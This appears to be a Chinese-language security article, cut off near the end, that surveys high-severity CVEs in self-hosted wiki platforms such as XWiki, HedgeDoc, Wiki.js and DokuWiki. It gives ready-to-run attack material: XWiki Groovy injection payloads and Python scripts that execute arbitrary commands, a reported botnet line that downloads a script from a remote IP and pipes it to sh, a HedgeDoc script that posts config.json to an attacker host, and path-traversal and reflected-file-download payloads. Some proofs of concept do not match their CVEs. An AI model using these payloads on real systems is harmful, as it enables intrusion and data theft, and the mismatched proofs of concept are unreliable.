ARTICLE / 安全

自托管知识管理与文档协作平台高危攻击链专题:XWiki / MediaWiki / HedgeDoc / Wiki.js / DokuWiki / BookStack 漏洞全解析

0x00 专题概述

自托管知识管理与文档协作平台(Self-hosted Knowledge Management & Documentation Collaboration Platform)是企业内部知识沉淀、团队协作和文档管理的核心基础设施。与传统 SaaS 方案不同,自托管部署意味着企业需要自行负责安全运维,而这恰恰是安全风险最集中的环节。从 XWiki 的 Groovy 模板注入到 HedgeDoc 的任意文件读取,从 MediaWiki 的权限绕过到 Wiki.js 的认证缺陷,这些平台在过去几年中累积了大量高危漏洞,部分已被 RondoDox 僵尸网络等在野威胁组织大规模利用。

本专题系统梳理 XWiki、HedgeDoc、MediaWiki、Wiki.js、DokuWiki、BookStack 六大主流自托管知识管理平台的高危漏洞攻击链,覆盖模板引擎注入(SSTI / Groovy RCE)、认证/授权缺陷、文件操作滥用、XSS 与客户端攻击、XML/Markdown 解析漏洞五大共性攻击模式。每个 CVE 均提供漏洞原理分析、HTTP PoC、Python 检测脚本和 Nuclei YAML 模板,面向渗透测试人员和安全研究员提供完整的攻防参考。

覆盖漏洞一览表

CVE 编号产品CVSS漏洞类型未授权利用
CVE-2025-24893XWiki9.8 CriticalGroovy RCE (SolrSearch)
CVE-2024-31982XWiki10.0 CriticalSSTI / Groovy RCE (DatabaseSearch)
CVE-2025-23025XWiki9.0 Critical实时编辑器提权否(需低权限)
CVE-2023-29509XWiki9.8 CriticalGroovy RCE (documentTree)
CVE-2021-29475HedgeDoc10.0 CriticalPDF 导出任意文件读取否(需编辑权限)
CVE-2021-29474HedgeDoc5.8 Medium路径遍历 .md 文件读取
CVE-2024-40603MediaWiki4.3 MediumCSRF (ArticleRatings)
CVE-2025-67480MediaWikiHighAPI Query Revisions RCE
CVE-2022-1681Wiki.js9.8 Critical认证绕过获取 root 权限
CVE-2020-15236Wiki.js9.1 High路径遍历任意文件读取
CVE-2017-18123DokuWiki8.6 High反射型文件下载 (RFD)
CVE-2024-33103DokuWiki6.1 MediumSVG 任意文件上传
CVE-2024-36676BookStack8.8 High访问控制缺陷 / 用户枚举
CVE-2021-4119BookStack9.8 Critical访问控制绕过

0x01 XWiki 高危漏洞

XWiki 是一个基于 Java 的开源企业级 wiki 平台,支持 Groovy、Velocity、Python 等多种脚本语言,默认启用 JSR-223 脚本引擎。这种强大的脚本能力是 XWiki 的核心竞争力,但同时也是其最大的安全风险来源。2025 年 11 月,RondoDox 僵尸网络大规模利用 XWiki 漏洞,超过 3400 台服务器被感染,部署了 XMRig 加密货币矿机。CISA 已将多个 XWiki CVE 加入 KEV(Known Exploited Vulnerabilities)目录。

0x01.1 CVE-2025-24893 — SolrSearch 未授权 Groovy RCE

漏洞背景

CVE-2025-24893 是 XWiki SolrSearch 宏中的 eval 注入漏洞,允许任何访客用户通过 /bin/get/Main/SolrSearch 端点执行任意 Groovy 代码。该漏洞于 2025 年 2 月 20 日公开,2025 年 3 月即被在野利用,2025 年 10 月 30 日被 CISA 加入 KEV 目录。VulnCheck 于 2025 年 10 月 24 日首次检测到在野利用尝试。

受影响版本 / 修复版本

项目版本
受影响版本5.3-milestone-2 至 15.10.10;16.0.0-rc-1 至 16.4.0
修复版本15.10.11、16.4.1、16.5.0RC1
CVSS 评分9.8(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS 评分92.01%(极高利用概率)

漏洞原理分析

XWiki 内置 SolrSearch 宏(定义在 Main.SolrSearchMacros),用于通过嵌入式 Solr 引擎执行全文搜索。漏洞根因是该宏在处理搜索参数时未对输入进行清理,导致攻击者可以通过特殊构造的请求注入并执行任意 Groovy 代码。

攻击链路径:用户请求 → SolrSearch 宏接收 text 参数 → 参数被拼接到 Groovy 求值上下文 → 服务器执行注入的 Groovy 代码 → RCE。

HTTP PoC

# 检测漏洞是否存在(无害探测)
curl "http://<target>/xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}println('XWiki_Vuln_Check_24893'){{/groovy}}{{/async}}"

# 执行系统命令
curl "http://<target>/xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}def%20sout%3Dnew%20StringBuilder()%2Cserr%3Dnew%20StringBuilder()%3Bdef%20p%3Dnew%20ProcessBuilder%5B%27bash%27%2C%27-c%27%2C%27id%27%5D.redirectErrorStream(true).start()%3Bp.getInputStream().eachLine%7Bsout.append(it)%7Dp.waitFor()%3Bprintln(sout.toString()){{/groovy}}{{/async}}"

# 下载并执行恶意脚本(RondoDox 僵尸网络真实利用)
curl "http://<target>/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%5B%27sh%27%2C%20%27-c%27%2C%20%27wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.sdu.sh%7Csh%27%5D.execute%28%29.text%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"

Python PoC 检测脚本

#!/usr/bin/env python3
import requests
import argparse
import urllib3
import re
from urllib.parse import quote

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PAYLOAD_DETECT = "}}}{{async async=false}}{{groovy}}println('CVE-2025-24893-TEST'){{/groovy}}{{/async}}"
VULN_MARKER = "CVE-2025-24893-TEST"
ENDPOINT = "/xwiki/bin/get/Main/SolrSearch"

def check_vulnerability(target, timeout=10):
    url = f"{target.rstrip('/')}{ENDPOINT}"
    params = {
        "media": "rss",
        "text": PAYLOAD_DETECT
    }
    try:
        resp = requests.get(url, params=params, verify=False, timeout=timeout)
        if resp.status_code == 200 and VULN_MARKER in resp.text:
            return True, resp.text
        return False, resp.status_code
    except requests.exceptions.RequestException as e:
        return False, str(e)

def execute_command(target, cmd, timeout=15):
    url = f"{target.rstrip('/')}{ENDPOINT}"
    groovy_code = (
        f"def sout=new StringBuilder(),serr=new StringBuilder();"
        f"def p=new ProcessBuilder['bash','-c','{cmd}']"
        f".redirectErrorStream(true).start();"
        f"p.getInputStream().eachLine{{sout.append(it)}};"
        f"p.waitFor();println(sout.toString())"
    )
    payload = f"}}}} {{{{async async=false}}}} {{{{groovy}}}} {groovy_code} {{{{/groovy}}}} {{{{/async}}}}"
    params = {
        "media": "rss",
        "text": payload
    }
    try:
        resp = requests.get(url, params=params, verify=False, timeout=timeout)
        return resp.status_code, resp.text
    except requests.exceptions.RequestException as e:
        return 0, str(e)

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-24893 XWiki SolrSearch RCE Detector")
    parser.add_argument("-t", "--target", required=True, help="Target URL (e.g. http://192.168.1.100:8080)")
    parser.add_argument("-c", "--cmd", default=None, help="Command to execute (e.g. 'id')")
    parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds")
    args = parser.parse_args()

    print(f"[*] Testing {args.target} for CVE-2025-24893...")
    vuln, detail = check_vulnerability(args.target, args.timeout)
    if vuln:
        print(f"[+] VULNERABLE! Got response: {detail.strip()}")
        if args.cmd:
            print(f"[*] Executing command: {args.cmd}")
            code, output = execute_command(args.target, args.cmd, args.timeout)
            print(f"[*] HTTP {code}")
            print(f"[+] Output:\n{output}")
    else:
        print(f"[-] Not vulnerable or unreachable. Status/detail: {detail}")

if __name__ == "__main__":
    main()

Nuclei YAML 检测模板

id: CVE-2025-24893
info:
  name: XWiki SolrSearch Groovy RCE
  author: security-researcher
  severity: critical
  description: XWiki SolrSearch macro allows unauthenticated Groovy code injection via the text parameter
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24893
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-95
  tags: cve,xwiki,rce,groovy

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}} {{{{async async=false}}}} {{{{groovy}}}}println('CVE-2025-24893-NUCLEI-TEST'){{{{/groovy}}}} {{{{/async}}}}"

    matchers:
      - type: word
        words:
          - "CVE-2025-24893-NUCLEI-TEST"
        part: body

    extractors:
      - type: regex
        group: 1
        regex:
          - "CVE-2025-24893-NUCLEI-TEST"

0x01.2 CVE-2024-31982 — DatabaseSearch 未授权 SSTI / Groovy RCE

漏洞背景

CVE-2024-31982 是 XWiki DatabaseSearch 功能中的 SSTI(Server-Side Template Injection)漏洞,CVSS 评分 10.0。该漏洞自 2.4-milestone-1 版本(约 2010 年)起即存在,影响范围极广。数据库搜索功能默认对所有用户(包括匿名访客)开放,使得该漏洞可在无需认证的情况下被利用。

受影响版本 / 修复版本

项目版本
受影响版本2.4-milestone-1 至 14.10.19;15.0-rc-1 至 15.5.3;15.6-rc-1 至 15.10-rc-1 之前
修复版本14.10.20、15.5.4、15.10-rc-1
CVSS 评分10.0(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

漏洞原理分析

XWiki 的 DatabaseSearch 页面允许用户通过搜索文本参数注入 Velocity/Groovy 模板语法。由于搜索结果被 XWiki 渲染引擎处理,攻击者可以构造包含 {{async}}{{groovy}} 宏的搜索查询,使服务器在渲染搜索结果时执行任意 Groovy 代码。成功利用后,攻击者将获得 programming rights,从而完全控制 XWiki 实例。

HTTP PoC

# 检测漏洞
curl "http://<target>/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&space=&text=}}}%20%7B%7Basync%7D%7D%7B%7Bgroovy%7D%7Dprintln('CVE-2024-31982-TEST')%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"

# 执行 id 命令
curl "http://<target>/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&space=&text=}}}%20%7B%7Basync%7D%7D%7B%7Bgroovy%7D%7Ddef%20sout%3Dnew%20StringBuilder()%2Cserr%3Dnew%20StringBuilder()%3Bdef%20p%3Dnew%20ProcessBuilder%5B%27bash%27%2C%27-c%27%2C%27id%27%5D.redirectErrorStream(true).start()%3Bp.getInputStream().eachLine%7Bsout.append(it)%7Dp.waitFor()%3Bprintln(sout.toString())%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"

Python PoC 检测脚本

#!/usr/bin/env python3
import requests
import argparse
import urllib3
from urllib.parse import quote

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

DETECT_MARKER = "CVE-2024-31982-TEST"
ENDPOINT = "/xwiki/bin/get/Main/DatabaseSearch"

def check(target, timeout=10):
    url = f"{target.rstrip('/')}{ENDPOINT}"
    params = {"outputSyntax": "plain", "space": ""}
    groovy_payload = f"}}}} {{{{async}}}} {{{{groovy}}}}println('{DETECT_MARKER}'){{{{/groovy}}}} {{{{/async}}}}"
    params["text"] = groovy_payload
    try:
        r = requests.get(url, params=params, verify=False, timeout=timeout)
        if r.status_code == 200 and DETECT_MARKER in r.text:
            return True
    except Exception:
        pass
    return False

def exploit(target, cmd, timeout=15):
    url = f"{target.rstrip('/')}{ENDPOINT}"
    groovy_cmd = (
        f"def sout=new StringBuilder(),serr=new StringBuilder();"
        f"def p=new ProcessBuilder['bash','-c','{cmd}']"
        f".redirectErrorStream(true).start();"
        f"p.getInputStream().eachLine{{sout.append(it)}};"
        f"p.waitFor();println(sout.toString())"
    )
    payload = f"}}}} {{{{async}}}} {{{{groovy}}}} {groovy_cmd} {{{{/groovy}}}} {{{{/async}}}}"
    params = {"outputSyntax": "plain", "space": "", "text": payload}
    try:
        r = requests.get(url, params=params, verify=False, timeout=timeout)
        return r.status_code, r.text
    except Exception as e:
        return 0, str(e)

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-31982 XWiki DatabaseSearch RCE")
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-c", "--cmd", default=None)
    args = parser.parse_args()

    print(f"[*] Testing {args.target} for CVE-2024-31982...")
    if check(args.target):
        print("[+] VULNERABLE!")
        if args.cmd:
            code, out = exploit(args.target, args.cmd)
            print(f"[+] HTTP {code}\n{out}")
    else:
        print("[-] Not vulnerable or unreachable.")

if __name__ == "__main__":
    main()

Nuclei YAML 检测模板

id: CVE-2024-31982
info:
  name: XWiki DatabaseSearch SSTI RCE
  author: security-researcher
  severity: critical
  description: XWiki DatabaseSearch allows unauthenticated RCE through template injection
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31982
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-1336
  tags: cve,xwiki,rce,ssti

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&space=&text=}}}} {{{{async}}}} {{{{groovy}}}}println('CVE-2024-31982-TEST'){{{{/groovy}}}} {{{{/async}}}}"
    matchers:
      - type: word
        words:
          - "CVE-2024-31982-TEST"
        part: body

0x01.3 CVE-2025-23025 — Realtime WYSIWYG 编辑器权限提升

漏洞背景

CVE-2025-23025 存在于 XWiki Realtime WYSIWYG Editor 扩展中。一个仅拥有 edit 权限的低权限用户可以加入拥有 script 或 programming 权限的高权限用户的实时编辑会话,在其中插入脚本渲染宏(如 {{velocity}}),从而以高权限用户的身份执行任意代码,完成权限提升。

受影响版本 / 修复版本

项目版本
受影响版本13.9-rc-1 至 15.10.11;13.9-rc-1 至 16.4.0;13.9-rc-1 至 16.6.0-rc-1 之前
修复版本15.10.12、16.4.1、16.6.0-rc-1
CVSS 评分9.0(CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)

漏洞原理分析

实时 WYSIWYG 编辑器允许多个用户同时编辑同一页面。当低权限用户加入会话后,插入的脚本宏会在高权限用户(拥有 script 或 programming rights)的浏览器端被渲染执行。在 XWiki 15.10.9+ 和 16.2.0+ 中,编辑内容会自动重新渲染给会话中的所有用户,这意味着攻击者只需插入宏即可触发执行。

HTTP PoC

# 此漏洞需要在实时编辑会话中利用,无法通过简单 HTTP 请求复现
# 攻击流程:
# 1. 低权限用户创建/编辑页面并启用实时编辑
# 2. 诱骗高权限用户加入编辑会话
# 3. 在编辑器中插入 {{velocity}}I can run scripts{{/velocity}}
# 4. 高权限用户的浏览器渲染并执行该脚本

0x01.4 CVE-2023-29509 — documentTree 宏 Groovy RCE

漏洞背景

CVE-2023-29509 存在于 XWiki Flamingo Theme Application 扩展的 documentTree 宏中。该宏用于列出给定文档的子文档,当通过特定的 GET 参数(sheet=FlamingoThemesCode.WebHome)调用时,会将未经过滤的参数值传递给 documentTree 宏,导致 Groovy 代码注入。

受影响版本 / 修复版本

项目版本
受影响版本Flamingo Theme 版本 1.23.1 至 1.34
修复版本Flamingo Theme 1.35+
CVSS 评分9.8(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

HTTP PoC

curl "http://<target>/xwiki/bin/view/FlamingoThemesCode/WebHome?sheet=FlamingoThemesCode.WebHome&document=%24doc.documentReference%2B%22%3B+def+sout%3Dnew+StringBuilder()%2Cserr%3Dnew+StringBuilder()%3Bdef+p%3Dnew+ProcessBuilder%5B%27bash%27%2C%27-c%27%2C%27id%27%5D.redirectErrorStream(true).start()%3Bp.getInputStream().eachLine%7Bsout.append(it)%7Dp.waitFor()%3Bprintln(sout.toString())+%2B+%22"

0x01.5 XWiki 僵尸网络在野利用

2025 年 11 月,RondoDox 僵尸网络将 CVE-2025-24893 加入其攻击武器库。VulnCheck 于 2025 年 11 月 3 日首次观测到 RondoDox 利用该漏洞进行攻击。攻击流程为两阶段:

  1. 第一阶段:通过 SolrSearch 端点注入 Base64 编码的 Groovy 代码,下载并执行名为 rondo.<value>.sh 的脚本
  2. 第二阶段:该脚本从攻击者控制的服务器(如 74.194.191.52)下载 RondoDox 主体载荷,将其加入 DDoS 僵尸网络

其他攻击者在同一时间窗口内利用该漏洞部署 XMRig 加密货币矿机、建立 bash 反向 Shell,以及使用 Nuclei 模板进行大规模扫描。


0x02 HedgeDoc 高危漏洞

HedgeDoc(前身 CodiMD)是一个开源实时协作 Markdown 笔记平台,广泛用于团队知识管理和技术文档协作。其架构基于 Node.js + Express,支持多种认证方式(本地、LDAP、OAuth2、SAML)。HedgeDoc 的攻击面主要集中在文件操作、OAuth2 流程和 Markdown 渲染三个维度。

0x02.1 CVE-2021-29475 — PDF 导出任意文件读取

漏洞背景

CVE-2021-29475 是 HedgeDoc PDF 导出功能中的任意文件读取漏洞。攻击者可以利用 PhantomJS 的 file:/// 协议引用,在 PDF 导出过程中读取服务器上的任意文件,包括包含数据库凭据和 OAuth 密钥的 config.json

受影响版本 / 修复版本

项目版本
受影响版本< 1.5.0
修复版本1.5.0
CVSS 评分10.0(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)

漏洞原理分析

攻击者在可编辑的笔记内容中嵌入 file:/// 引用。当其他用户导出该笔记为 PDF 时,PhantomJS 渲染引擎虽然不会将 file:/// 引用渲染到 PDF 文件本身,但会在内部处理这些引用。通过 JavaScript 渲染,攻击者可以轻松将文件内容外泄。由于 config.json 通常包含敏感信息(数据库密码、OAuth secret 等),该漏洞的影响极为严重。

HTTP PoC

# 在笔记内容中嵌入以下 Markdown 代码,然后触发 PDF 导出
# 攻击载荷(嵌入笔记中):
curl -X POST "http://<target>/new" -d "content=<script>fetch('file:///app/config.json').then(r=>r.text()).then(d=>fetch('https://attacker.com/exfil',{method:'POST',body:d}))</script>" -H "Content-Type: application/x-www-form-urlencoded"

Python PoC 检测脚本

#!/usr/bin/env python3
import requests
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_pdf_export(target, timeout=10):
    url = f"{target.rstrip('/')}/new"
    payload = {
        "content": "[test](file:///etc/passwd)",
        "description": "CVE-2021-29475 test"
    }
    try:
        s = requests.Session()
        s.verify = False
        r = s.post(url, data=payload, timeout=timeout, allow_redirects=True)
        if r.status_code in [200, 302]:
            note_id = r.url.split("/")[-1] if "/" in r.url else ""
            if note_id:
                pdf_url = f"{target.rstrip('/')}/pdf/{note_id}"
                pdf_r = s.get(pdf_url, timeout=timeout * 3)
                if pdf_r.status_code == 200 and b"root:" in pdf_r.content:
                    return True, "File content leaked in PDF"
                return True, "PDF export accessible (check manually)"
    except Exception as e:
        return False, str(e)
    return False, "Could not reach target"

def main():
    parser = argparse.ArgumentParser(description="CVE-2021-29475 HedgeDoc File Read via PDF")
    parser.add_argument("-t", "--target", required=True, help="HedgeDoc instance URL")
    args = parser.parse_args()

    print(f"[*] Testing {args.target} for CVE-2021-29475...")
    vuln, detail = check_pdf_export(args.target)
    if vuln:
        print(f"[+] POTENTIALLY VULNERABLE: {detail}")
    else:
        print(f"[-] Not vulnerable: {detail}")

if __name__ == "__main__":
    main()

Nuclei YAML 检测模板

id: CVE-2021-29475
info:
  name: HedgeDoc PDF Export File Read
  author: security-researcher
  severity: critical
  description: HedgeDoc PDF export allows reading arbitrary files via file:// protocol
  reference:
    - https://github.com/hedgedoc/hedgedoc/security/advisories/GHSA-8q34-235c-7g4q
  classification:
    cvss-score: 10.0
    cwe-id: CWE-22
  tags: cve,hedgedoc,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%2F..%2FREADME#"
    matchers:
      - type: word
        words:
          - "HedgeDoc"
          - "README"
        condition: or
        part: body
    matchers-condition: and

0x02.2 CVE-2021-29474 — 路径遍历 .md 文件读取

漏洞背景

CVE-2021-29474 是 HedgeDoc 中的相对路径遍历漏洞。攻击者可以通过 URL 编码的 .. 序列读取服务器文件系统上的任意 .md 文件。

受影响版本 / 修复版本

项目版本
受影响版本< 1.8.0
修复版本1.8.0
CVSS 评分5.8(CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N)

HTTP PoC

curl "http://<target>/..%2F..%2FREADME#"

0x02.3 HedgeDoc 其他安全问题

CVE类型CVSS说明
CVE-2023-38487未认证 API 数据暴露8.2API 未正确实施访问控制
CVE-2021-39175存储型 XSS6.1未认证用户可注入任意 HTML
CVE-2021-29503存储型 XSS6.1笔记内容中的 XSS
CVE-2020-26287注入漏洞8.7API 参数注入
CVE-2020-26286未认证访问7.5认证绕过

0x03 MediaWiki 高危漏洞

MediaWiki 是全球最广泛使用的 wiki 软件(驱动 Wikipedia),拥有超过 460 个已知 CVE。其攻击面涵盖扩展机制、API 接口、权限系统和用户生成内容渲染等多个维度。尽管单个 CVE 的严重性通常不如 XWiki,但其庞大的安装基数使得累积风险不容忽视。

0x03.1 CVE-2024-40603 — ArticleRatings 扩展 CSRF

漏洞背景

CVE-2024-40603 存在于 MediaWiki ArticleRatings 扩展中。Special:ChangeRating 端点允许通过 GET 请求执行 CSRF 攻击,修改页面评分数据。

受影响版本 / 修复版本

项目版本
受影响版本ArticleRatings 扩展至 1.42.1
修复版本需升级 ArticleRatings 扩展
CVSS 评分4.3(CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N)

HTTP PoC

<img src="http://<target>/wiki/Special:ChangeRating?page=Main_Page&rating=5" />

0x03.2 CVE-2025-67480 — ApiQueryRevisionsBase RCE

漏洞背景

CVE-2025-67480 是 MediaWiki ApiQueryRevisionsBase.php 中的输入验证不当漏洞,可能导致远程代码执行。该漏洞影响 MediaWiki 1.39.x、1.43.x、1.44.x 和 1.45.x 多个版本分支。

受影响版本 / 修复版本

项目版本
受影响版本< 1.39.16、< 1.43.6、< 1.44.3、< 1.45.1
修复版本1.39.16、1.43.6、1.44.3、1.45.1
CVSS 评分High

HTTP PoC

curl "http://<target>/w/api.php?action=query&prop=revisions&rvprop=content&titles=Main_Page&rvslots=main&format=json" \
  -H "User-Agent: Mozilla/5.0"

Nuclei YAML 检测模板

id: CVE-2025-67480
info:
  name: MediaWiki ApiQueryRevisionsBase RCE
  author: security-researcher
  severity: high
  description: Input validation flaw in MediaWiki API could lead to RCE
  reference:
    - https://www.mediawiki.org/wiki/Release_notes/1.45.1
  tags: cve,mediawiki,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/w/api.php?action=query&prop=revisions&rvprop=content&titles=Main_Page&rvslots=main&format=json"
    matchers:
      - type: word
        words:
          - "query"
          - "revisions"
        condition: and
        part: body

0x03.3 MediaWiki 扩展安全历史

MediaWiki 扩展生态是其最大的安全风险来源。以下为近年来影响较大的扩展相关漏洞:

CVE扩展类型CVSS
CVE-2025-61652DiscussionToolsXSSMedium
CVE-2025-67482Scribunto代码执行Medium
CVE-2025-32697核心权限保留不当Medium
CVE-2025-67476ImportableOldRevisionImporterRCEMedium

0x04 Wiki.js 高危漏洞

Wiki.js 是一个基于 Node.js 的现代 wiki 引擎,使用 PostgreSQL 作为后端数据库。其攻击面主要集中在认证机制、GraphQL API 和文件系统操作三个维度。

0x04.1 CVE-2022-1681 — 认证绕过获取 root 权限

漏洞背景

CVE-2022-1681 是 Wiki.js 中的认证绕过漏洞,允许攻击者通过备用路径或通道绕过认证,获取 root 用户权限。该漏洞 CVSS 评分 9.8,影响所有 < 2.5.281 的版本。

受影响版本 / 修复版本

项目版本
受影响版本< 2.5.281
修复版本2.5.281
CVSS 评分9.8(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-287(Improper Authentication)

HTTP PoC

curl -X POST "http://<target>/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation{authentication(username:\"admin\",password:\"admin\"){jwt{token}}}"}'

Python PoC 检测脚本

#!/usr/bin/env python3
import requests
import argparse
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_auth_bypass(target, timeout=10):
    url = f"{target.rstrip('/')}/graphql"
    query = {
        "query": "mutation{authentication(username:\"admin\",password:\"admin\"){jwt{token}}}"
    }
    try:
        r = requests.post(url, json=query, verify=False, timeout=timeout,
                          headers={"Content-Type": "application/json"})
        if r.status_code == 200:
            data = r.json()
            if "data" in data and data["data"].get("authentication"):
                return True, data["data"]["authentication"]["jwt"]["token"]
            if "errors" in data:
                return False, data["errors"][0].get("message", "")
    except Exception as e:
        return False, str(e)
    return False, "No valid response"

def main():
    parser = argparse.ArgumentParser(description="CVE-2022-1681 Wiki.js Auth Bypass")
    parser.add_argument("-t", "--target", required=True)
    args = parser.parse_args()

    print(f"[*] Testing {args.target} for CVE-2022-1681...")
    vuln, detail = check_auth_bypass(args.target)
    if vuln:
        print(f"[+] VULNERABLE! Got JWT token: {detail[:50]}...")
    else:
        print(f"[-] Not vulnerable: {detail}")

if __name__ == "__main__":
    main()

Nuclei YAML 检测模板

id: CVE-2022-1681
info:
  name: Wiki.js Authentication Bypass
  author: security-researcher
  severity: critical
  description: Wiki.js allows authentication bypass via alternate path
  reference:
    - https://github.com/Requarks/wiki/security/advisories/GHSA-r628-mhmh-qvmh
  classification:
    cvss-score: 9.8
    cwe-id: CWE-287
  tags: cve,wikisjs,auth-bypass

http:
  - method: POST
    path:
      - "{{BaseURL}}/graphql"
    headers:
      Content-Type: "application/json"
    body: '{"query":"mutation{authentication(username:\"admin\",password:\"admin\"){jwt{token}}}"}'
    matchers:
      - type: word
        words:
          - "token"
        part: body
    matchers-condition: and

0x04.2 CVE-2020-15236 — 路径遍历任意文件读取

漏洞背景

CVE-2020-15236 是 Wiki.js 中的路径遍历漏洞,当启用本地资产缓存的存储模块(如 Local File System 或 Git)时,攻击者可以通过构造特殊 URL 读取文件系统上的任意文件。

受影响版本 / 修复版本

项目版本
受影响版本< 2.5.151
修复版本2.5.151
CVSS 评分9.1(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

HTTP PoC

curl "http://<target>/../../etc/passwd"
curl "http://<target>/..%2F..%2F..%2Fetc%2Fpasswd"

0x04.3 CVE-2022-23654 — 路径访问控制绕过

漏洞背景

CVE-2022-23654 存在于 Wiki.js 的页面移动功能中。拥有受限路径写入权限的认证用户可以在移动页面时指定不同的目标页面 ID,绕过路径访问控制,修改其无权访问的页面内容。

受影响版本 / 修复版本

项目版本
受影响版本< 2.5.302
修复版本2.5.302
CVSS 评分Medium

0x05 DokuWiki 高危漏洞

DokuWiki 是一个无需数据库的轻量级 wiki 系统,以纯文件存储(txt 文件)为特色。其攻击面主要集中在文件上传处理、URL 参数编码和 RSS/Atom feed 渲染三个维度。

0x05.1 CVE-2017-18123 — 反射型文件下载 (RFD)

漏洞背景

CVE-2017-18123 是 DokuWiki 中的反射型文件下载(Reflected File Download, RFD)漏洞。/lib/exe/ajax.phpcall 参数未正确编码用户输入,导致服务器响应中包含原始控制字符,攻击者可以诱导用户下载并执行恶意批处理文件。

受影响版本 / 修复版本

项目版本
受影响版本≤ 2017-02-19e
修复版本2017-02-19e 之后的版本(commit 238b8e8)
CVSS 评分8.6(CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N)

漏洞原理分析

服务器在收到未知的 AJAX 调用时,会将用户输入的 call 参数原样反射到错误消息中:AJAX call '<user_input>' unknown!。由于响应类型为 text/html 且 bash 控制字符(||&&> 等)在反射时保持完整,攻击者可以构造如 ||calc|| 这样的载荷,使响应内容成为可执行的批处理脚本。

HTTP PoC

# 检测漏洞
curl "http://<target>/lib/exe/ajax.php?call=||echo+CVE-2017-18123-TEST||"

# 构造可下载的恶意文件(Windows RFD 攻击)
curl -o installer.bat "http://<target>/lib/exe/ajax.php?call=||calc||"

Python PoC 检测脚本

#!/usr/bin/env python3
import requests
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_rfd(target, timeout=10):
    url = f"{target.rstrip('/')}/lib/exe/ajax.php"
    marker = "CVE-2017-18123-TEST"
    params = {"call": f"||{marker}||"}
    try:
        r = requests.get(url, params=params, verify=False, timeout=timeout)
        if r.status_code == 200 and marker in r.text:
            content_type = r.headers.get("Content-Type", "")
            has_controls = "||" in r.text
            return True, f"Content-Type: {content_type}, Controls reflected: {has_controls}"
        return False, f"Status: {r.status_code}"
    except Exception as e:
        return False, str(e)

def main():
    parser = argparse.ArgumentParser(description="CVE-2017-18123 DokuWiki RFD")
    parser.add_argument("-t", "--target", required=True)
    args = parser.parse_args()

    print(f"[*] Testing {args.target} for CVE-2017-18123...")
    vuln, detail = check_rfd(args.target)
    if vuln:
        print(f"[+] VULNERABLE: {detail}")
    else:
        print(f"[-] Not vulnerable: {detail}")

if __name__ == "__main__":
    main()

Nuclei YAML 检测模板

id: CVE-2017-18123
info:
  name: DokuWiki Reflected File Download
  author: security-researcher
  severity: high
  description: DokuWiki ajax.php call parameter leads to RFD
  reference:
    - https://github.com/dokuwiki/dokuwiki/issues/2029
  classification:
    cvss-score: 8.6
    cwe-id: CWE-116
  tags: cve,dokuwiki,rfd

http:
  - method: GET
    path:
      - "{{BaseURL}}/lib/exe/ajax.php?call=||echo+CVE-2017-18123-TEST||"
    matchers:
      - type: word
        words:
          - "CVE-2017-18123-TEST"
        part: body

0x05.2 CVE-2024-33103 — SVG 任意文件上传代码执行

漏洞背景

CVE-2024-33103 存在于 DokuWiki Media Manager 组件中。攻击者可以上传特制的 SVG 文件实现任意代码执行。该漏洞需要产品存在特定的错误配置才能被利用。

受影响版本 / 修复版本

项目版本
受影响版本2024-02-06a 及之前版本(需特定配置)
CVSS 评分6.1(CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N)

HTTP PoC

# 上传包含 JavaScript 的 SVG 文件
curl -X POST "http://<target>/lib/exe/media.php" \
  -F "call=mediaupload" \
  -F "file=@malicious.svg;type=image/svg+xml" \
  -F "ns=" \
